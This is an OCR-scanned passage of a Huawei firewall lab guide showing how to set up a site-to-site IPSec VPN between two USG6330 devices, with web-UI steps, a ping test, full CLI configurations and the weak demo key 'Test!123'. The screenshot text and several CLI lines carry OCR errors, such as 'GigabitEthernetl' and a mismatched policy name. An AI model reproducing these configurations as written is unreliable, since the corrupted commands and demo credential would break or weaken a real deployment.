IPSec Intelligent Link Selection

1 Virtual System Configuration

Virtual System

Z Basic Configuration
Policy Name
Local Interface®
Local Address(®@

Peer Address

Authentication Type(®

Pre-Shared Key
Local ID®
Feer D

public ~

palicy

GE1/0/4 ~||* [Configure]
a0.11.2 ~
40111 Areachable route exists.

Tip: To ensure that the negotiafion messages are interworking, yol
Security Policy]

+ Pre-Shared RSA RSA Digital
Key Signature Envelope

IF Address ~ 40.1.1.2

IP Address ~ 40111

On FW2, click Add in the Data Flow to Be Encrypted area to add a data flow.

Huawei
s US6E6330
lm| Interface

e LTE 4G

[l Interface Pair
& Zone

VXLAN

= DNS

DHCP Server
= Route

& IPSec
o
* [ Monitor
e LZTP
g L2TF over IPSec
= GRE
g3 DSVPN
Ed SSL VPN
¥ SACG

FPeer Address

_.._.J

Dashboard Monitor

i’

Object

i 8

Network System

=) ]

Policy

40111 A reachable route exists.

Tip: To ensure that the negotiation messages are interworking, you 1
Security Policy]

Authentication Type @ Pre-Shared RSA RSA Digital
Key Signature Envelope

Fre-Shared Key *

Local ID@ IF Address v 40112

Peer ID Add Data Flow

3 Data Flow to Be
Address Type

o l Delg

Source
Address o

Define packets on which to implement IPSec encryption.[Show Exam

Source Address or Group | 10.1.2.0/24 v
Destination Address or Grou 19.1.1.0/24 v
Frotocolis any b
Action(® Encrypt b

Tip: To ensure data flow business interoperability, need to enable a two-w

(Optional) Set IKE and IPSec parameters. In this example, the default parameter settings are
used. To modify a parameter value, click Advanced in the Security Proposal area. Note that
security proposals on the two ends of a tunnel must be configured the same.
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Step 4 Apply the IPSec policy.

After the configuration is complete, click Apply to save and apply the IPSec policy.

Huawei
USG6330

Is B

HUAWEL

LI
]

o =

Dashboard Monitor Policy Object Network System
(@l Interface . - ——
Peer Address AT I
(e LTE 4G f 40111 A reachable route exists.
[l Interface Pair Tip: To ensure that the negotiation messages are interworking, you need to enable the
& Zone Security Policy]
e Authentication Type® e Pre-Shared RSA RSA Digital
= Key Signature Envelope
0 ONS Pre-Shared Key [ sesesseees
@ DHCP Server
= Route Local 1D IP Address v 401.1.2
24§ IPSec PeerID IP Address “| (40111
2ifIPSec
= Monitor 3 Data Flow to Be Encrypted 2
e L2TP Address Type e |Pv4 P
w2 | 2TP over IPSec
& GRE 4 Add ¥ Delete [Einsert
3 DSVPN Source Destination pro... | Sour..| Dest..| s .o Edit
=9 SSL VPN Address or Group Address or Group “* [ Port | Port
7 SACG 10.1.2.0/255.255.255.0 10.1.1.0/255.255.255.0 any any any Encrypt 2
Displaying 1
Reverse Route Injection(®
4 |KE/IPSec Proposal
~| Advanced
Apply | Retumn
-—End

11.3 Verification

Run the ping command on PC1 to test connectivity to Serverl.

C:\Users\admin>ping 10.1.1.10

Pinging 10.1.1.10 with 32 bytes of data:

Reply from 10.1.1.10: bytes=32 time=2ms TTL=126
Reply from 10.1.1.10: bytes=32 time<lms TTL=126
Reply from 10.1.1.10: bytes=32 time<lms TTL=126
Reply from 10.1.1.10: bytes=32 time<lms TTL=126
Ping statistics for 10.1.1.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-se

Minimum Oms, Maximum = 2ms, Average

conds:

Oms
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11.4 Configuration Reference

11.4.1 FW1 Configuration

#
sysname FWI1
#
acl number 3000
rule 5 permit ip source 10.1.1.0 0.0.0.255 destination 10.1.2.0 0.0.0.255
#
ipsec proposal propl9412242869
#
ike proposal 1
#
ike peer 1kel94122428696
exchange-mode auto
pre-shared-key Test!123
ike-proposal 1
remote-id-type ip
remote-id 40.1.1.2
local-id 40.1.1.1
remote-address 40.1.1.2
#
ipsec policy ipsecl941224289 1 isakmp
security acl 3000
ike-peer 1kel94122428696
proposal propl9412242869
tunnel local applied-interface
#
interface GigabitEthernetl/0/0
undo shutdown
ip address 10.1.1.1 255.255.255.0
service-manage ping permit
#
interface GigabitEthernetl/0/1
shutdown
#
interface GigabitEthernetl/0/2
shutdown
#
interface GigabitEthernetl/0/4
undo shutdown
ip address 40.1.1.1 255.255.255.0
service-manage ping permit
ipsec policy ipsecl1941224289
#
firewall zone trust
add interface GigabitEthernetl/0/0
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
ip route-static 10.1.2.0 255.255.255.0 40.1.1.2
#

security-policy
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rule name ipsecl
source-zone trust
destination-zone untrust
source-address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit

rule name ipsec2
source-zone untrust
destination-zone trust
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit

rule name ipsec3
source-zone local
destination-zone untrust
source-address 40.1.1.1 mask 255.255.255.255
destination-address 40.1.1.2 mask 255.255.255.255
action permit

rule name ipsec4
source-zone untrust
destination-zone local
source-address 40.1.1.2 mask 255.255.255.255
destination-address 40.1.1.1 mask 255.255.255.255
action permit

#

return

11.4.2 FW2 Configuration

#

sysname FW2

#

acl number 3000

rule 5 permit ip source 10.1.2.0 0.0.0.255 destination 10.1.1.0 0.0.0.255

#

ipsec proposal propl9412254440
#

ike proposal 1

#

ike peer 1kel94122544409
exchange-mode auto
pre-shared-key Test!123
ike-proposal 1

remote-id-type ip

remote-id 40.1.1.1

local-id 40.1.1.2
remote-address 40.1.1.1

#

ipsec policy ipsecl941225446 1 isakmp
security acl 3000

ike-peer 1kel94122544409
proposal propl9412254440
tunnel local applied-interface
#

interface GigabitEthernetl/0/0
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shutdown
#
interface GigabitEthernetl/0/1
undo shutdown
ip address 10.1.2.2 255.255.255.0
service-manage ping permit
#
interface GigabitEthernetl/0/4
undo shutdown
ip address 40.1.1.2 255.255.255.0
service-manage ping permit
ipsec policy ipsecl941225446
#
firewall zone trust
add interface GigabitEthernetl/0/1
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
ip route-static 10.1.1.0 255.255.255.0 40.1.1.1
#
security-policy
rule name ipsecl
source-zone trust
destination-zone untrust
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name ipsec?2
source-zone untrust
destination-zone trust
source-address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name ipsec3
source-zone local
destination-zone untrust
source-address 40.1.1.2 mask 255.255.255.255
destination-address 40.1.1.1 mask 255.255.255.255
action permit
rule name ipsec4
source-zone untrust
destination-zone local
source-address 40.1.1.1 mask 255.255.255.255
destination-address 40.1.1.2 mask 255.255.255.255
action permit
#

return

11.5 Question

Configure a site-to-site [IPSec VPN on the CLI to meet the requirements of this experiment.
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